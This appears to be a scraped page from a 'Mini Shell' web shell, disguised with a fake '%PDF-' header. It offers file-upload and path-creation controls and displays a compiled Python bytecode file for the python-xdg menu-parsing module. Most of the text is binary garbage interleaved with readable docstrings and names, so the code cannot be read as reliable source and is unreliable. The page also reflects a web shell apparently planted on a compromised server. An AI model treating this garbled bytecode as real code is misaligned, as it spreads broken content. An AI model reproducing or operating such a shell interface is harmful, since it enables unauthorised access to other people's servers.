%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/xdg/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/xdg/__pycache__/Menu.cpython-312.pyc

�

�u�c�����dZddlZddlZddlZddlZddlZ	ddlmcmZddlm
Z
mZddlmZddlmZddlmZddlZddlZd�Zd�Zd	Zd
ZdZdZd
ZdZGd�d�Z Gd�d�Z!Gd�d�Z"Gd�d�Z#Gd�d�Z$Gd�d�Z%Gd�d�Z&d\Z'Z(d�Z)d�Z*d �Z+d!�Z,Gd"�d#e-�Z.Gd$�d%�Z/d'd&�Z0y#e	$rddl
mcmZY��wxYw)(a�
Implementation of the XDG Menu Specification
http://standards.freedesktop.org/menu-spec/

Example code:

from xdg.Menu import parse, Menu, MenuEntry

def print_menu(menu, tab=0):
  for submenu in menu.Entries:
    if isinstance(submenu, Menu):
      print ("	" * tab) + unicode(submenu)
      print_menu(submenu, tab+1)
    elif isinstance(submenu, MenuEntry):
      print ("	" * tab) + unicode(submenu.DesktopEntry)

print_menu(parse())
�N)�
xdg_data_dirs�xdg_config_dirs)�DesktopEntry)�ParsingError)�PY3c��tjdk\rRtj|�}tjdk\rtj|�Stj
|�Stj|tj���S)N)��)r	���id�ctx)�sys�version_info�ast�literal_eval�Constant�NameConstant�Name�Load)�names �*/usr/lib/python3/dist-packages/xdg/Menu.py�
_ast_constr'se��
���6�!�����%�����v�%��<�<��%�%��#�#�D�)�)��x�x�4�S�X�X�Z�0�0�c�z�ts!t|t�r|jd�}t	j
|�S)zgWrapper around locale.strxfrm that accepts unicode strings on Python 2.

    See Python bug #2481.
    zutf-8)r�
isinstance�unicode�encode�locale�strxfrm)�ss r�_strxfrmr"2s-��

�Z��7�+�
�H�H�W����>�>�!��r�Deleted�	NoDisplay�Hidden�Empty�	NotShowIn�NoExecc��eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
	dd	�Zdd
�Zd�Z
dd�Zd
�Zd�Zd�Zd�Zd�Z	d�Zd�Zy)�Menuz^Menu containing sub menus under menu.Entries

    Contains both Menu and MenuEntry items.
    c�*�d|_d|_g|_d|_d|_d|_d|_d|_d|_d|_	g|_
d|_d|_g|_
g|_d|_g|_g|_d|_g|_g|_y)N�rFT)r�	Directory�Entries�Doc�Filename�Depth�Parent�NotInXml�Show�Visible�AppDirs�
DefaultLayoutr#�Directories�
DirectoryDirs�Layout�MenuEntries�Moves�OnlyUnallocated�Rules�Submenus��selfs r�__init__z
Menu.__init__Is�����	������������
���
������
���	�������!��������������������
�#�����
���
rc��|jS�N�rr@s r�__str__zMenu.__str__e����y�y�rc���|jD]}|jj|��|jD]}|jj|��|jD]}|jj|��|j�|j|_|j
�|j
|_|jr|j|_|jr|j|_|jD]}|jj|��|jD]}|jj|��|jD]}|j|��|SrD)r6�appendr9r8r#r=r:r7r>r<r?�
addSubmenu)rA�other�dir�	directory�rule�move�submenus       r�__add__zMenu.__add__hsK���=�=�	%�C��L�L����$�	%��&�&�	+�C����%�%�c�*�	+��*�*�	/�I����#�#�I�.�	/��=�=�$� �=�=�D�L�� � �,�#(�#8�#8�D� ��<�<��,�,�D�K����!&�!4�!4�D���K�K�	$�D��J�J���d�#�	$��K�K�	$�D��J�J���d�#�	$��~�~�	%�G��O�O�G�$�	%��rc�f�tj|j�|j��SrD)r�strcoll�getName�rArKs  r�__cmp__zMenu.__cmp__�s���~�~�d�l�l�n�e�m�m�o�>�>rc�4�t|j��S�z&Key function for locale-aware sorting.)r"rTr@s r�_keyz	Menu._key�s�������'�'rc�h�	|j�}|j�|kS#t$rY�wxYwrD�rY�AttributeErrorrUs  r�__lt__zMenu.__lt__��9��	��J�J�L�E��y�y�{�U�"�"���	��	���%�	1�1c��	|jt|�k(S#t$r|jt|�k(cYSwxYwrD)rr�	NameError�strrUs  r�__eq__zMenu.__eq__�s<��	+��9�9����.�.���	+��9�9��E�
�*�*�	+�s��!>�>c#�bK�|jD]}|r|���
|jdus�|���y�w)z4Interator for a list of Entries visible to the user.TN)r.r4)rA�show_hidden�entrys   r�
getEntrieszMenu.getEntries�s2�����\�\�	�E�������t�#���		�s�%/�/c��|jD]}|j|k(s�|cS|r$|jD]}|j||��yy)z4Searches for a MenuEntry with a given DesktopFileID.N)r;�
DesktopFileIDr?�getMenuEntry)rA�
desktopfileid�deep�	menuentryrPs     rrjzMenu.getMenuEntry�sX���)�)�	!�I��&�&�-�7� � �	!���=�=�
:���$�$�]�D�9�
:�rc��|jdd�}|jD]<}|j|dk(s�t|�dkDr|j	|d�cS|cSy)z&Searches for a Menu with a given path.�/�rN)�splitr?r�len�getMenu)rA�path�arrayrPs    rrszMenu.getMenu�sX���
�
�3��"���}�}�	#�G��|�|�u�Q�x�'��u�:��>�"�?�?�5��8�4�4�"�N�	#rc�^�|}g}	|r|j|j�n|j|j��|jdkDr
|j}nn�[|j�d}|s|j
d�|D]"}tjj||�}�$|S)z/Returns this menu's path in the menu structure.rr,)
rIrrTr1r2�reverse�pop�osrt�join)rA�org�toplevel�parent�namesrtrs       r�getPathzMenu.getPath�s������������V�[�[�)����V�^�^�-�.��|�|�a��������	�
�
������I�I�a�L��	,�D��7�7�<�<��d�+�D�	,��rc��	|jjj�S#t$r|jcYSwxYw)z"Returns the menu's localised name.)r-rrTr\rr@s rrTzMenu.getName�s9��	��>�>�.�.�6�6�8�8���	��9�9��	�s�#&�>�>c�j�	|jjj�S#t$rYywxYw)z Returns the menu's generic name.r,)r-r�getGenericNamer\r@s rr�zMenu.getGenericName�s2��	��>�>�.�.�=�=�?�?���	��	���#&�	2�2c�j�	|jjj�S#t$rYywxYw)z Returns the menu's comment text.r,)r-r�
getCommentr\r@s rr�zMenu.getComment�s2��	��>�>�.�.�9�9�;�;���	��	�r�c�j�	|jjj�S#t$rYywxYw)z0Returns the menu's icon, filename or simple namer,)r-r�getIconr\r@s rr�zMenu.getIcon�s2��	��>�>�.�.�6�6�8�8���	��	�r�c�
�g|_d|_|jD]}|j��t	�}t	�}|j
jD]<}|ddk(r|j|d�� |ddk(s�)|j|d��>|j
jD�]
}|ddk(rct|�}t|j�dkDr$t|jdt�rd|_|jj|��o|ddk(r3|j|d�}|s��|jj|���|ddk(r\|j|d�}|s��|j
jr|j!|���|jj|���|ddk(s��|dd	k(s|dd
k(rW|j"j�|j"D],}|j$|vs�|jj|��.��|ddk(s
|dd
k(s���|jj�|jD]T}|j&|vs�|j
jr|j!|��:|jj|��V��|jD�]�}d|_|xjdz
c_t|t(�r�|j*dur!t,|_|xjdzc_�_t|j.t0�s�z|j.j2j5�r!t6|_|xjdzc_��|j.j2j9�s��t:|_|xjdzc_��t|t0��r�|j2j5�r"t6|_|xjdzc_��S|j2j9�r"t:|_|xjdzc_���|j2j=�r<|j2j?�s"t@|_|xjdzc_���tBjDjFs��|j2jI�gk7r4tBjDjF|j2jI�vs6tBjDjF|j2jK�vs���tL|_|xjdzc_���t|t�s���|xjdzc_���t|j�dkDr1t|jdt�rd|jd_t|j�dkDr1t|jdt�rd|jd_|jddD]�}t|t(�s�|j
jNr�+|jdk(s�;tP|_|xjdzc_|jRdus�j|jjU|���y)
Nrr0rp�Menuname�	Separator���F�Merge�files�all�menusT)+r.r5r?�sort�setr:�order�addr�rrrr4rIrjrs�inline�merge_inliner;rirr*r#�DELETEDr-�	MenuEntryr�getNoDisplay�
NO_DISPLAY�	getHidden�HIDDEN�
getTryExec�findTryExec�NO_EXEC�xdg�Config�
windowmanager�
getOnlyShowIn�getNotShowIn�NOT_SHOW_IN�
show_empty�EMPTYr3�remove)rArP�	_submenus�_entriesr��	separatorrmrfs        rr�z	Menu.sort�s���������}�}�	�G��L�L�N�	��E�	��5���[�[�&�&�	(�E��Q�x�:�%����U�1�X�&��q��Z�'��
�
�e�A�h�'�		(��[�[�&�&�	=�E��Q�x�;�&�%�d�O�	��t�|�|�$�q�(�Z����R�8H�)�-T�%*�I�N����#�#�I�.��q��Z�'� �-�-�e�A�h�7�	���L�L�'�'�	�2��q��Z�'��,�,�u�Q�x�0����~�~�,�,��)�)�'�2����+�+�G�4��q��W�$���8�w�&�%��(�e�*;��$�$�)�)�+�%)�%5�%5�;�	�$�2�2�(�B� �L�L�/�/�	�:�;��1�X��(�E�!�H��,=��M�M�&�&�(�#'�=�=�=��"�<�<�y�8�&�~�~�4�4� $� 1� 1�'� :� $��� 3� 3�G� <�=�3	=�B�\�\�"	"�E��E�J��L�L�A��L��%��&��=�=�D�(�!(�E�J��L�L�A�%�L������;����3�3�@�@�B�%/��
�����)�����5�5�?�?�A�%+��
�����)���E�9�-��%�%�2�2�4�!+�E�J��L�L�A�%�L��'�'�1�1�3�!'�E�J��L�L�A�%�L��'�'�2�2�4�U�=O�=O�=[�=[�=]�!(�E�J��L�L�A�%�L��Z�Z�-�-��*�*�8�8�:�b�@��J�J�4�4�E�<N�<N�<\�<\�<^�^��
�
�0�0�E�4F�4F�4S�4S�4U�U�%0��
�����)���E�9�-�����!��E"	"�H�t�|�|��q� ��$�,�,�q�/�9�5�',����Q��$��t�|�|��q� ��$�,�,�r�*�I�6�(-����R� �%��\�\�!�_�	/�E��%��&�u�|�|�/F�/F�5�=�=�\]�K]�"��
�����!���>�>�T�)��L�L�'�'��.�	/rc��|jD]}||k(s�	||z
}y|jj|�||_|jdz|_y)Nrp)r?rIr2r1)rA�newmenurPs   rrJzMenu.addSubmenuTsT���}�}�	+�G��'�!��7�"���	+�

�M�M� � ��)�!�G�N� �J�J��N�G�Mrc��t|j�dk(r�|jjr�|jd}|jjd|j
�d��|jjd|j�d��|jjd|j�d��|jj|�yt|j�|jjks|jjdk(r�|jjrRt|j
�|j�|j��}|jj|�|jD]}|jj|��y|jj|�y)	z}Appends a submenu's entries to this menu
        See the <Menuname> section of the spec about the "inline" attribute
        rprrT)r�GenericName�CommentN)
rrr.r:�inline_aliasrr�rTr�r�rI�inline_limit�
inline_header�Header)rArPrm�headerrfs     rr�zMenu.merge_inline_sX���w����1�$����)D�)D�����*�I��"�"�&�&�v�w���/@��&�N��"�"�&�&�}�g�6L�6L�6N�W[�&�\��"�"�&�&�y�'�2D�2D�2F�t�&�T��L�L���	�*�
����
!�W�^�^�%@�%@�
@�G�N�N�D_�D_�cd�Dd��~�~�+�+����� 1�7�3I�3I�3K�W�M_�M_�Ma�b�����#�#�F�+� ���
+�����#�#�E�*�
+�
�L�L����(rN�F)FF)�__name__�
__module__�__qualname__�__doc__rBrFrQrVrYr]rcrgrjrsrrTr�r�r�r�rJr��rrr*r*Dsn����8��D?�(�#�+���:�#��*����b/�H�+�)rr*c��eZdZdZdd�Zd�Zy)�MovezA move operationc� �||_||_yrD)�Old�New)rA�old�news   rrBz
Move.__init__us�������rc�B�t|j|j�SrD)�cmpr�rUs  rrVzMove.__cmp__ys���4�8�8�U�Y�Y�'�'rN�r,r,)r�r�r�r�rBrVr�rrr�r�ss����(rr�c�P�eZdZdZ		dd�Zed��Zejd��Zy)r:zMenu Layout classc�r�||_||_||_||_||_g|_ddgddgg|_y)Nr�r�r�)r�r�r�r�r��_order�_default_order)rAr�r�r�r�r�s      rrBzLayout.__init__sI��$������(���*���(������
�g��
�g��
��rc�J�|jr|jS|jSrD)r�r�r@s rr�zLayout.order�s��"�k�k�t�{�{�B�t�/B�/B�Brc��||_yrD)r�)rAr�s  rr�zLayout.order�s	����rN)FFr
TF)r�r�r�r�rB�propertyr��setterr�rrr:r:}s>���DE�27�
��C��C��\�\���rr:c�<�eZdZdZd\ZZed��Zd�Zd�Z	d�Z
y)�RulezInclude / Exclude Rules Class�rrpc
��tjtjtj|�tj�gtj
tjdtj���dtj���g��dd��}tj|�t||�}|S)	Nrmrri��value�attrr��left�ops�comparatorsrpr)�body�lineno�
col_offset)
r�
Expression�Compare�Str�Eq�	Attributerr�fix_missing_locationsr�)�cls�type�filename�treerNs     r�fromFilenamezRule.fromFilename�s����~�~�����W�W�X�&��V�V�X�J� �]�]��(�(�k�s�x�x�z�B�(����
������
��	�!�!�$�'��D�$����rc�X�||_||_t|jdd�|_y)Nz<compiled-menu-rule>�eval)�Type�
expression�compile�code)rAr�r�s   rrBz
Rule.__init__�s%����	�$����D�O�O�-C�V�L��	rc�@�tj|j�SrD)r�dumpr�r@s rrFzRule.__str__�s���x�x����(�(rc���|D]l}|dk(r|jdus|jdur�%t|j�s�;|jt
jurd|_d|_�fd|_�n|S)N�TF)�MatchedInclude�	Allocatedr�r�r�r��TYPE_INCLUDE�Add)rA�menuentries�runrms    r�applyz
Rule.apply�sq��$�		*�I��a�x�Y�5�5��=�&�0�0�D�8���D�I�I���9�9�� 1� 1�1�$(�I�M�/3�I�,�$)�I�M�		*��rN)r�r�r�r�r��TYPE_EXCLUDE�classmethodr�rBrFr�r�rrr�r��s1��'�!%��L�,�����"M�)�rr�c�h�eZdZdZdZdZdZdd�Zd�Zd�Z	d�Z
dd	�Zd
�Zd�Z
d�Zd
�Zd�Zd�Zd�Zy)r�z(Wrapper for 'Menu Style' Desktop Entries�User�System�Bothc��ttjj||��|_|j	|||�d|_d|_g|_d|_d|_	d|_
|jj�|_y�NTF)
rryrtrz�
setAttributesr4�Original�Parentsr�r�r��
getCategories�
Categories�rAr�rL�prefixs    rrBzMenuEntry.__init__�sy��(������c�8�)D�E������8�S�&�1���	���
����������#����+�+�9�9�;��rc�f�|jjr|jj�yy)z&Save any changes to the desktop entry.N)r�tainted�writer@s r�savezMenuEntry.save�s(�����$�$����#�#�%�%rc�b�|jjj|jd�S)z7Return the directory containing the desktop entry file.r,)rr��replacer0r@s r�getDirzMenuEntry.getDir�s%��� � �)�)�1�1�$�-�-��D�Drc���tjjsO|jr|jSt
d|jjvr|jS|jS|jS)z.Return the type of MenuEntry, System/User/Bothr)
r�r��	root_moder�	TYPE_BOTHrrr��	TYPE_USER�TYPE_SYSTEMr@s r�getTypezMenuEntry.getType�sY���z�z�#�#��}�}��~�~�%��q�!�T�%6�%6�%?�%?�?��~�~�%��'�'�'��>�>�!rc��||_||_tjj	||�jdd�|_tjj|jj�s|j�yy)Nro�-)r0�Prefixryrtrzrri�isabsrr��_MenuEntry__setFilenamers    rr�zMenuEntry.setAttributes�sa�� ��
�����W�W�\�\�&�(�;�C�C�C��M����w�w�}�}�T�.�.�7�7�8���� �9rc���|j�|jk(rEt|j|j	�|j
�|_|j�yyrD)rrr�r0rrrrr@s r�updateAttributeszMenuEntry.updateAttributes�sE���<�<�>�T�-�-�-�%�d�m�m�T�[�[�]�D�K�K�P�D�M���� �.rc��tjjs
td}n	td}|jj�dk(r!tjj|d�}n tjj|d�}tjj||j�|j_
y)Nrrp�Application�applications�desktop-directories)r�r�rrrrryrtrzr0r�)rArt�dir_s   r�
__setFilenamezMenuEntry.__setFilenames����z�z�#�#� ��#�D� ��#�D����$�$�&�-�7��7�7�<�<��n�5�D��7�7�<�<��&;�<�D�%'�W�W�\�\�$��
�
�%F����"rc��tj|jj�|jj��SrD)rrSrrTrUs  rrVzMenuEntry.__cmp__s1���~�~�d�/�/�7�7�9�5�;M�;M�;U�;U�;W�X�Xrc�H�t|jj��SrX)r"rrTr@s rrYzMenuEntry._keys����)�)�1�1�3�4�4rc�h�	|j�}|j�|kS#t$rY�wxYwrDr[rUs  rr]zMenuEntry.__lt__r^r_c�6�|jt|�k(ryyr�)rirbrUs  rrczMenuEntry.__eq__s������U��+��rc��|jSrD)rir@s r�__repr__zMenuEntry.__repr__"s���!�!�!rNr�)r�r�r�r�rrrrBr	rrr�rrrVrYr]rcr%r�rrr�r��sS��.��I��K��I�<�(&�
E�
"�!�!�
G�Y�5�#��"rr�c��eZdZdZd�Zy)r�z!Just a dummy class for Separatorsc� �||_d|_y)NT)r2r4)rAr}s  rrBzSeparator.__init__(s�������	rN)r�r�r�r�rBr�rrr�r�&s
��'�rr�c��eZdZdZd�Zd�Zy)r�zClass for Inline Headersc�.�||_||_||_yrD)rr�r�)rAr�generic_name�comments    rrBzHeader.__init__/s����	�'�����rc��|jSrDrEr@s rrFzHeader.__str__4rGrN)r�r�r�r�rBrFr�rrr�r�-s����
rr�r�c���tjj|�}tjj|�s tjj	||�}tjj|�}tjj
|�sy|tk(r!tjj|�r|S|tk(r!tjj|�r|Sy�NF)ryrt�dirnamerrz�abspath�exists�TYPE_DIR�isdir�	TYPE_FILE�isfile)r�r�r�rts    r�_check_file_pathr6;s���
�7�7�?�?�8�$�D�
�7�7�=�=��������T�5�)���G�G�O�O�E�"�E�
�7�7�>�>�%� ���x��B�G�G�M�M�%�0����y��R�W�W�^�^�E�2���rc��tt�}tjjdur|jd�|D]F}tjj|d|�}tjj|�s�D|cSy)NTrr�)
�listrr�r�rrxryrtrzr5)r��dirs�d�menunames    r�_get_menu_file_pathr<Isc���� �D�
�z�z���t�#������
����7�7�<�<��7�H�5��
�7�7�>�>�(�#��O�rc�L�t|t�r|S|j�dk(S)N�true)r�bool�lower)r�s r�_to_boolrASs"���%������;�;�=�F�"�"rc��i}|j�|D�cgc]}||vs�|j||���}}|j�|Scc}wrD)rw�
setdefault)�_list�_set�es   r�_deduperGZsH��
�D�	�M�M�O�,1�C�q�Q�d�]�T�_�_�Q��
"�C�E�C�	�M�M�O��L��
Ds
�	A	�A	c��eZdZdd�Zdd�Zd�Zdd�Zd�Zd�Zd�Z	d	�Z
d
�Zd�Zd�Z
d
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zy)�XMLMenuBuilderc��||_yrD)�debug)rArKs  rrBzXMLMenuBuilder.__init__ds	����
rNc�&�|r*tjj|�st|�}|s^tjjdd�dz}t|�}|s.tjjdd�dz}t|�}|st
ddz��|jd�st
d|��	tj|�}t�|_t�|_t�|_|j|j!�|�}||_||_|j'|�|j)|�|j+|�|j-|�|j/�|S#t
d	|��xYw)
z�Load an applications.menu file.

        filename : str, optional
          The default is ``$XDG_CONFIG_DIRS/menus/${XDG_MENU_PREFIX}applications.menu``.
        �XDG_MENU_PREFIXr,�applications.menuzdebian-menu.menu�File not foundz/etc/xdg/menus/%s�.menuzNot a .menu file�Not a valid .menu file)ryrtrr<�environ�getr�endswith�etree�parser��
_merged_files�_directory_dirs�MenuEntryCache�cache�
parse_menu�getrootr�r��handle_moves�
post_parse�generate_not_only_allocated�generate_only_allocatedr�)rAr��	candidater��menus     rrVzXMLMenuBuilder.parsegs_���B�G�G�M�M�(�3�*�8�4�H���
�
���'8�"�=�@S�S�I�*�9�5�H���J�J�N�N�+<�b�A�+=�>�	�.�y�9����/�1D�y�1P�Q�Q�� � ��)��1�8�<�<�	C��;�;�x�(�D�
!�U���"�u���#�%��
����t�|�|�~�x�8����	� ��
����$�������	
�(�(��.��$�$�T�*�	
�	�	�����-	C��7��B�B�s�<F�Fc�@�t�}|j|||�|SrD)r*�
parse_node)rA�noder�rbs    rr[zXMLMenuBuilder.parse_menu�s���v������h��-��rc��t|�}|D�]�}|j|j}}|r|j�nd}|dk(r$|j	||�}|j|��Y|dk(r|r|j
|||��t|dk(r|j||���|dk(r|r|j|||���|dk(r|j||���|dk(r
|r||_
��|dk(r|r|jj|���|dk(rd	|_
��|d
k(r	d|_
��|dk(r	d	|_��|d
k(r	d|_��(|dk(s|dk(r,|jj|j!|����^|dk(rO|j"j%dd�dk(r|j'd|||����|s���|j'||||����|dk(r|r|j)||||����|dk(r|j+|||����|dk(r,|j,j|j/|����|dk(r|dkDs��&|j1|�|_��>|dk(r|dkDs��J|j1|�|_��b|dk(r2|r0|j7||j"j%dd�||����|dk(s���|j9||����y)Nr*�AppDir�DefaultAppDirs�DirectoryDir�DefaultDirectoryDirsrr-r=T�NotOnlyUnallocatedFr#�
NotDeleted�Include�Exclude�	MergeFiler�r}rN�MergeDir�DefaultMergeDirsr�r:rpr7�	LegacyDirrr,�
KDELegacyDirs)rr�tag�text�stripr[rJ�
parse_app_dir�parse_default_app_dir�parse_directory_dir�parse_default_directory_dirrr8rIr=r#r>�
parse_rule�attribrS�parse_merge_file�parse_merge_dir�parse_default_merge_dirsr<�
parse_move�parse_layoutr:r7�parse_legacy_dir�parse_kde_legacy_dirs)	rArer�r}�num_children�childrtrurbs	         rrdzXMLMenuBuilder.parse_node�s����4�y���0	=�E��	�	�5�:�:��C�#'�4�:�:�<�T�D��f�}����u�h�7���!�!�$�'����T��"�"�4��6�:��(�(��*�*�8�V�<���&�4��(�(��x��@��.�.��0�0��6�B����4�"�����#���"�"�)�)�$�/��)�)�)-��&��,�,�).��&��	�!�!%�����$�!&����	�!�S�I�%5����#�#�D�O�O�E�$:�;���#��<�<�#�#�F�D�1�X�=��)�)�*=�u�h�PV�W���)�)�$��x��H��
�"�t��$�$�T�5�(�F�C��*�*��-�-�e�X�v�F�������#�#�D�O�O�E�$:�;�����!�#�$(�$5�$5�e�$<�F�M���'��!�#�+/�+<�+<�U�+C�F�(���#���%�%�d�E�L�L�,<�,<�X�r�,J�H�V\�]���'��*�*�8�V�<�a0	=rc�p�tt|jjdd��t|jjdd��t	|jjdd��t|jjdd��t|jjdd���	�}g}|D�]g}|j
|j}}|r|j�nd}|d
k(r�|r�|jd
|t|jjdd��t|jjdd��t	|jjdd��t|jjdd��t|jjdd��g���|dk(r|jdg���|dk(r|r|jd|g���4|d
k(s��;|jd
|jjdd�g���j||_	|S)Nr�Fr�r�r
r�Tr�)r�r�r�r�r�r�r�r0r�r�r�)
r:rAr|rS�intrtrurvrIr�)rAre�layoutr�r�rtrus       rr�zXMLMenuBuilder.parse_layout�s�����������e� D�E��D�K�K�O�O�H�e�<�=��T�[�[�_�_�^�Q�?�@�"�4�;�;�?�?�?�D�#I�J�!�$�+�+�/�/�.�%�"H�I�
�����	�E��	�	�5�:�:��C�#'�4�:�:�<�T�D��j� �T�������U�\�\�-�-�l�E�B�C��U�\�\�-�-�h��>�?�����(�(���;�<��U�\�\�-�-�o�t�D�E��U�\�\�-�-�n�e�D�E�����#����k�]�+��
�"�t����j�$�/�0���������L�L�$�$�V�U�3���%	�,����
rc��d\}}|D]C}|j|j}}|r|j�nd}|dk(r|r|}�9|dk(s�?|s�B|}�Et||�S)Nr�r�r�)rtrurvr�)rArer�r�r�rtrus       rr�zXMLMenuBuilder.parse_move�sd�����S��	�E��	�	�5�:�:��C�#'�4�:�:�<�T�D��e�|�������$���
	��C��~�rc�L�|jdk(rtjntj}t	j
dd��}|j
|t	j��}|r||_ntd�|_t	j|�t||�S)Nrmrpr)r�r��False)rtr�r�r�rr��
parse_bool_op�Orr�rr�)rArer�r��exprs     rr{zXMLMenuBuilder.parse_rulesy��$(�H�H�	�$9�t� � �t�?P�?P���~�~�Q�1�5���!�!�$�����1����D�I�"�7�+�D�I��!�!�$�'��D�$��rc��g}|D]'}|j|�}|s�|j|��)t|�}|dkDrtj||�S|dk(r|dSy)Nrpr)�parse_rule_noderIrrr�BoolOp)rAre�operator�valuesr�rN�
num_valuess       rr�zXMLMenuBuilder.parse_bool_opsl�����	$�E��'�'��.�D���
�
�d�#�	$���[�
���>��:�:�h��/�/�
�1�_��!�9��rc��|j}|dk(r$|j|tj��S|dk(r$|j|tj��S|dk(rP|j|tj��}|r(tj
tj�|�SdS|dk(rtd�S|dk(r�|j}tjtj|�tj�gtjtjdtj���d	tj��
�g��S|dk(r�|j}tjtj|�tj�gtjtjdtj���d
tj��
�g��Sy)Nr��And�Not�All�True�Categoryrmrrr�r�r0ri)rtr�rr�r��UnaryOpr�rrur�r��Inr�rrr�)rArertr��categoryr�s      rr�zXMLMenuBuilder.parse_rule_nodesu���h�h���$�;��%�%�d�C�F�F�H�5�5�
�E�\��%�%�d�C�G�G�I�6�6�
�E�\��%�%�d�C�F�F�H�5�D�37�3�;�;�s�w�w�y�$�/�A�T�A�
�E�\��f�%�%�
�J�
��y�y�H��;�;��W�W�X�&��V�V�X�J� �]�]��(�(�k�s�x�x�z�B�%����
����
��J�
��y�y�H��;�;��W�W�X�&��V�V�X�J� �]�]��(�(�k�s�x�x�z�B�(����
����
�rc�b�t||t�}|r|jj|�yyrD)r6r2r6rI�rAr�r�r}s    rrwzXMLMenuBuilder.parse_app_dirAs*�� ���(�;����N�N�!�!�%�(�rc��tt�D]3}|jtjj|d�||��5y)Nr)�reversedrrwryrtrz�rAr�r}r:s    rrxz$XMLMenuBuilder.parse_default_app_dirFs9���-�(�	R�A����r�w�w�|�|�A�~�>��&�Q�	Rrc�b�t||t�}|r|jj|�yyrD)r6r2r9rIr�s    rryz"XMLMenuBuilder.parse_directory_dirJs,�� ���(�;���� � �'�'��.�rc��tt�D]3}|jtjj|d�||��5y)Nr)r�rryryrtrzr�s    rrzz*XMLMenuBuilder.parse_default_directory_dirOs;���-�(�	_�A��$�$�R�W�W�\�\�!�5J�%K�X�W]�^�	_rc��|jjdd�dk(r�tD]�}|j|d�j	d�}||k7s�*tD]x}||k(r�	t
jjt
jj||��s�G|jt
jj||�||�����yt||t�}|r|j|||�yy)Nr�r}r,ro)r|rSrrrvryrtr5rz�
merge_filer6r4)rAr�r�r�r}r:�rel_file�ps        rr}zXMLMenuBuilder.parse_merge_fileUs����<�<���F�D�)�X�5�$�
"��#�+�+�A�r�2�8�8��=���x�'�,�"����6�$��7�7�>�>�"�'�'�,�,�q�(�*C�D� �O�O�B�G�G�L�L��H�,E�u�f�U�!�"�
"�%�U�H�i�@�E������u�f�5�rc��t||t�}|r^tj|�D]E}	|j	d�r1|jtjj||�||��Gyy#t$rY�UwxYw)NrP)	r6r2ry�listdirrTr�rtrz�UnicodeDecodeError)rAr�r�r�r}�items      rr~zXMLMenuBuilder.parse_merge_diresu�� ���(�;����
�
�5�)�
����}�}�W�-���������U�D�(A�5�&�Q��
���
*����s�AA3�3	A?�>A?c	��tjjtjj|��d}t	t
�D]8}|j
tjj|d|dz�|||��:y)Nrr�z-merged)ryrt�splitext�basenamer�rr~rz)rAr�r�r}r�r:s      rrz'XMLMenuBuilder.parse_default_merge_dirsosm���7�7�#�#�B�G�G�$4�$4�X�$>�?��B���/�*�	j�A�� � ������a��(�Y�:N�!O�QV�X`�bh�i�	jrc�|�||jvr|jrtd|��y|jj|�	t	j
|�}|j�}|j|||�y#t$r|jrtd|��Yy|jrtd|��YyxYw)Nz Infinite MergeFile loop detectedrOrQ)	rWrKrr�rUrV�IOErrorr\rd)rAr�r�r}r��roots      rr�zXMLMenuBuilder.merge_filets����t�)�)�)��z�z�"�#E�x�P�P�������x�(�	��;�;�x�(�D��|�|�~������h��/���	��z�z�"�#3�X�>�>��	��z�z�"�#;�X�F�F��s�A=�=!B;� B;c�<�|j||||�}|r||z
}yyrD)�merge_legacy_dir)rArrr�r}�ms      rr�zXMLMenuBuilder.parse_legacy_dir�s)���!�!�$���&�A����a�K�F�
rc	��t||t�}|�r||jv�r|jj|�t	�}|j
j
|�|jj
|�tjj|�|_d|_tj|�D]�}	|dk(r|jj
|�n~tjjtjj!||��rA|j#|j%tjj!||�|||����|j(j+|g|d�|j(j-|gd�}|D]�}|j.}	t1|	�dk(rIt2j5t2j6|j8�}
|j:j
|
�||j
vs�u|	j
d�|	|_��|Syy#t&$rY���wxYw)NTz
.directoryFr�Legacy)r6r2rXr�r*r6rIr9ryrtr�rr3r�r8r3rzrJr�r�rZ�add_menu_entries�get_menu_entriesrrrr�r�r�rir>)rArrr�r}r�r�r�rm�
categories�rs           rr�zXMLMenuBuilder.merge_legacy_dir�s�����h��9���D�� 4� 4�4�� � �$�$�T�*���A�
�I�I���T�"�
�O�O�"�"�4�(��W�W�%�%�d�+�A�F��A�J��
�
�4�(�
����|�+��
�
�,�,�T�2������r�w�w�|�|�D�$�'?�@����T�%:�%:��G�G�L�L��t�4�"�$�"�	&���
�
�J�J�'�'�����=��*�*�5�5�t�f�e�D�K�(�
6�	�&�1�1�
��z�?�a�'��)�)�$�*;�*;�Y�=T�=T�U�A��G�G�N�N�1�%��v�~�~�-��%�%�h�/�+5�I�(�
6��H�E5�4��&*����s�BH4�4	I�Ic�0�	tjgd�tjd��}|j�dj	�}	|dj
d�D]}|j|d||��y#t
$rYywxYw#t$rYywxYw)N)z
kde-configz--path�appsT)�stdout�universal_newlinesr�:�kde)	�
subprocess�Popen�PIPE�communicate�
splitlines�OSErrorrqr��
IndexError)rAr�r}�proc�outputrs      rr�z$XMLMenuBuilder.parse_kde_legacy_dirs�s���		��#�#�0�!���#'��D�
�%�%�'��*�5�5�7�F�	��q�	����,�
E���%�%�d�E�8�V�D�
E��	�	��	���	��	�s$�A	A:�-B	�:	B�B�		B�Bc�&�|j�d|_|j�d|_|jr|js�|jr|j|_n�|jr;|jdkDr|j
j|_ntt�|_nd|jdkDr7|j
j|_|j
j|_nt�|_t�|_|jdkDrP|j
j|jz|_|j
j|jz|_t|j�|_	t|j�|_t|j�|_|jD]}|j|��|jj�|jj�|jj�|jD]�}|jD]�}tjjtjj!||��s�At#||�}|j$s||_�a|j'�t"j(k(s��|j$j'�t"j*k(s��||j$_��|j$s��yy)NFr)r#r=r:r7r1r2r6r9rGr8r?r^rwryrtr5rzr�r-rrrr)rArbrPrMrLrms      rr^zXMLMenuBuilder.post_parse�sA���<�<�� �D�L����'�#(�D� ��{�{�$�"4�"4��!�!�"�0�0�������:�:��>�)-���)B�)B�D�&�)/��D�&��:�:��>�"&�+�+�";�";�D�K�)-���)B�)B�D�&�"(�(�D�K�)/��D�&��:�:��>��;�;�.�.����=�D�L�!%���!:�!:�T�=O�=O�!O�D��#�4�#3�#3�4���$�T�%7�%7�8����t�|�|�,����}�}�	%�G��O�O�G�$�	%�	
��� � �"����"�"�$��������)�)�
	�I��)�)�
